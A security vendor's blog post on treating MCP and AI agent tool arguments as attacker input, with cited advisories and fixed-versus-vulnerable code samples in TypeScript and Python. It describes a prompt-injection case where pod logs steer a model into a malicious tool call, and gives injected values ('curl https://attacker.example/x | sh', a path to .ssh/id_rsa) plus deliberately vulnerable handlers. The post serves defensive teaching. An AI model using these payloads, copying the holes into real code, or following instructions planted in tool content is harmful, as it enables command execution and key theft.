Agent tools are entry points, so we scan them like routes
A web route has an obvious attacker: whoever sends the request. A tool in an MCP server or an AI agent looks different. Its arguments are filled in by a model, the model is working for your user, and the code reads as if the caller were trusted. That is the mistake. The model picks the arguments from everything in its context, and part of that context can be written by someone else.
So we stopped treating tools as internal functions. Since Vulkro 0.30.0, MCP server tools and AI agent tools are entry points, the same as HTTP routes: a tool whose argument reaches a shell, a query or a file is reported, with the path from the argument to the call.
This post is about the tools you write. If you want the wider picture (unpinned MCP servers in your config, a vulnerable proxy, an agent with a token that reaches every repository), we covered that in MCP servers are the new attack surface. Checking the code an agent writes for you is in securing AI coding agents.
Why a tool argument is attacker input
The OWASP Top 10 for LLM Applications 2025 ranks prompt injection first. Its indirect form is the one that matters here: the model reads content from an outside source (a web page, a document, a log, an issue) and that content changes what the model does. OWASP lists "executing arbitrary commands in connected systems" among the possible results (LLM01:2025).
The connected systems are your tools. A model does not run commands on its own. It calls a tool, with arguments, and the tool runs whatever its code does with them.
OWASP names the second half of the problem separately. LLM06:2025 Excessive Agency is the risk that an LLM system takes damaging actions because its output was unexpected or manipulated, and it lists three root causes: too much functionality, too many permissions and too much autonomy. A tool that hands its argument to a shell is excessive functionality in its purest form. It asks for a Kubernetes namespace and accepts a shell pipeline.
Put the two together and the threat model is simple. Anyone who can put text in front of the model can choose your tool's arguments. That makes every tool parameter a request parameter.
It already happened, in published servers
This is not theory. Three cases from 2025, each from a primary source:
A Kubernetes server and a pod log. The GitHub advisory for mcp-server-kubernetes (CVE-2025-53355) describes tool parameters placed unsanitised into shell command strings run through child_process.execSync. Its proof of concept is the interesting part: the model is asked to read pod logs, the log contains instructions, and the model then calls kubectl_scale with a malicious namespace value, without the user asking. Fixed in 2.5.0.
A design-file server and a file key. The advisory for figma-developer-mcp (CVE-2025-53967) says the get_figma_data tool passed its fileKey into a curl command built for child_process.exec. Shell metacharacters in the key ran commands with the server's privileges. Fixed in 0.6.3, and the advisory's own recommendation is execFile with an argument array.
A database server and a string-built query. Trend Micro reported that the reference SQLite MCP server, published as a demo, "directly concatenates unsanitized user input into an SQL statement" (Trend Micro). The repository had been archived, so no patch was planned, and by then it had been forked more than 5,000 times. Trend Micro's point was that a SQL injection in an agent's database tool can be used to plant text the agent later reads as instructions.
None of these is a new kind of bug. They are command injection and SQL injection, the oldest entries in the book, sitting behind an entry point that nobody counted as one.
What the vulnerable code looks like
Here is a small MCP server in TypeScript with the same shape as the first two advisories:
import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
import { exec } from "node:child_process";
import { z } from "zod";
const server = new McpServer({ name: "ops", version: "1.0.0" });
server.registerTool(
"tail_logs",
{ description: "Show recent logs for a service", inputSchema: { service: z.string() } },
async ({ service }) => {
const out = await new Promise<string>((resolve, reject) =>
exec(`journalctl -u ${service} -n 100`, (err, stdout) => (err ? reject(err) : resolve(stdout))),
);
return { content: [{ type: "text", text: out }] };
},
);
service is typed as a string, and the schema does nothing else. nginx; curl https://attacker.example/x | sh is a string. The fix is to stop involving a shell and to accept only what the tool needs:
import { execFile } from "node:child_process";
const SERVICES = new Set(["nginx", "api", "worker"]);
server.registerTool(
"tail_logs",
{ description: "Show recent logs for a service", inputSchema: { service: z.string() } },
async ({ service }) => {
if (!SERVICES.has(service)) throw new Error(`unknown service: ${service}`);
const out = await new Promise<string>((resolve, reject) =>
execFile("journalctl", ["-u", service, "-n", "100"], (err, stdout) => (err ? reject(err) : resolve(stdout))),
);
return { content: [{ type: "text", text: out }] };
},
);
The same pattern in Python, with a database and a file:
from mcp.server.fastmcp import FastMCP
import sqlite3
mcp = FastMCP("notes")
db = sqlite3.connect("notes.db")
@mcp.tool()
def find_notes(author: str) -> list:
return db.execute(f"SELECT title FROM notes WHERE author = '{author}'").fetchall()
@mcp.tool()
def read_attachment(name: str) -> str:
with open(f"/srv/attachments/{name}") as f:
return f.read()
author is a SQL injection. name is a path traversal: ../../home/app/.ssh/id_rsa stays a valid string. Fixed:
from pathlib import Path
BASE = Path("/srv/attachments").resolve()
@mcp.tool()
def find_notes(author: str) -> list:
return db.execute("SELECT title FROM notes WHERE author = ?", (author,)).fetchall()
@mcp.tool()
def read_attachment(name: str) -> str:
path = (BASE / name).resolve()
if not path.is_relative_to(BASE):
raise ValueError("attachment outside the allowed folder")
return path.read_text()
Note the containment check uses is_relative_to on resolved paths, not a string prefix. A prefix check treats /srv/attachments-private as inside /srv/attachments, which is exactly the class of bug behind the filesystem server CVE in our earlier post.
Agent frameworks have the same shape. A tool defined for an agent loop with the Vercel AI SDK, or a LangChain @tool, takes model-chosen arguments into an execute function or a decorated function body. Where that body builds a query, a command or a path, the model, and anyone who can steer it, builds it too.
What changed in Vulkro 0.30.0
Before 0.30.0, a tool handler was just a function to the scan engine. Data-flow analysis starts at entry points, so a handler that no route reached looked like code with no caller, and a flow from its parameter to exec had no source to start from. MCP server source was covered by a separate command, vulkro scan-mcp-server, which looks for MCP-specific shapes such as tool descriptions built at runtime (reference).
Now the regular vulkro scan registers tools as entry points next to routes:
- MCP server tools in TypeScript and JavaScript (
server.toolandregisterToolon the official SDK). - MCP server tools in Python, through FastMCP and the low-level server.
- AI agent tools: LangChain
@toolandStructuredToolin Python, and in JavaScript and TypeScript, LangChain tools, Vercel AI SDK tools, and the plain shapes many agent loops use (an object that maps tool names to functions, or aswitchon the tool name).
From there, a tool parameter is a source like a request parameter. The engine follows it through your functions to a shell call, a query or a file operation and reports the path hop by hop, with the file and line of each step. Severity comes from the same model as for routes: who can reach the code, what is at stake, whether the path is proven and whether a guard stands in the way. An agent tool that runs inside an authenticated route inherits that route's authentication, so a tool behind a login is not rated as if it were open to the internet.
Each tool also shows up in the endpoint list with its handler and guards, so the inventory of what can be called from outside your code finally includes what a model can call.
What it does not tell you
Three honest limits.
A finding means we traced a path from a tool argument to a sink with no check we recognise in between. If you validate with a function we cannot see through, the finding may still appear, and vulkro prove shows exactly which hops the claim rests on so you can judge it.
No finding means no path was found, not that the tool is safe. A sink reached through dynamic dispatch the call graph does not follow is not traced, and vulkro why-not tells you why a given line was not reported.
And static analysis cannot see the scope of a token or the autonomy you gave the agent. A tool that only reads, behind a token that can write everywhere, is a configuration problem, and OWASP's LLM06 advice (least privilege, user approval for high-impact actions) still applies.
Where to see it
Run vulkro scan . on a repository with an MCP server or an agent, then look at the endpoint list: your tools are there next to your routes, and any tool whose argument reaches a shell, a query or a file is reported with its path. The attack paths reference explains how paths are drawn, and taint analysis explains sources and sinks.
To install Vulkro and run your first scan, start here. For how Vulkro fits into agent workflows more broadly, see Vulkro for AI coding agents.
Sources
- OWASP GenAI Security Project, LLM01:2025 Prompt Injection
- OWASP GenAI Security Project, LLM06:2025 Excessive Agency
- GitHub Advisory Database, GHSA-gjv4-ghm7-q58q (CVE-2025-53355): mcp-server-kubernetes command injection
- GitHub Advisory Database, GHSA-gxw4-4fc5-9gr5 (CVE-2025-53967): figma-developer-mcp command injection
- Trend Micro, Why a classic MCP server vulnerability can undermine your entire AI agent, June 2025
